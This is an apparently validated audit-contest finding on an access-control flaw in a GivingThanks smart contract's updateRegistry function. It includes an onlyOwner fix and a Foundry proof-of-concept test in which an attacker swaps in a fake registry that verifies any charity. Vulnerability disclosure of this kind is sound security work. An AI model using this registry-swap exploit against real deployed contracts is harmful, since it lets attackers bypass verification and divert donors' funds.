GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

H-1: Unauthorized Access Vulnerability in `updateRegistry` Function.

Summary

The updateRegistry function in the GivingThanks contract is publicly accessible, allowing anyone to redirect donations to a malicious registry, bypassing charity verification.


Vulnerability Details

The updateRegistry function in the GivingThanks contract is publicly accessible, allowing any external user to call it. This can be exploited by a malicious user to change the registry address to a malicious contract, effectively bypassing the charity verification process. This unauthorized change could lead to donations being sent to unverified or malicious addresses.

Impact

An attacker can redirect donations to a malicious contract by replacing the legitimate CharityRegistry address with their own, allowing unauthorized access to funds intended for verified charities

Tools Used

Manual Inspection

Recommendations

Use onlyOwner modifier, so that onlyOwner can call this function.

modifier onlyOwner() {
require(msg.sender == owner, "Not the contract owner");
_;
}

PoC :

  • Here is the PoC code to demonstrate the issue to run against foundry:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
contract VulnerableRegistry {
address public registry;
function isVerified(address) external pure returns (bool) {
// Always return true, regardless of the charity address
return true;
}
}
contract VulnerableRegistryTest is Test {
VulnerableRegistry vulnerableRegistry;
GivingThanks givingThanks;
CharityRegistry charityRegistry;
address attacker = makeAddr("attacker");
function setUp() public {
vulnerableRegistry = new VulnerableRegistry();
charityRegistry = new CharityRegistry();
givingThanks = new GivingThanks(address(charityRegistry));
vulnerableRegistry = new VulnerableRegistry();
}
function testAttack() public {
address maliciousAddress = address(vulnerableRegistry);
vm.prank(attacker);
givingThanks.updateRegistry(maliciousAddress);
assertEq(address(givingThanks.registry()), maliciousAddress);
}
}
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.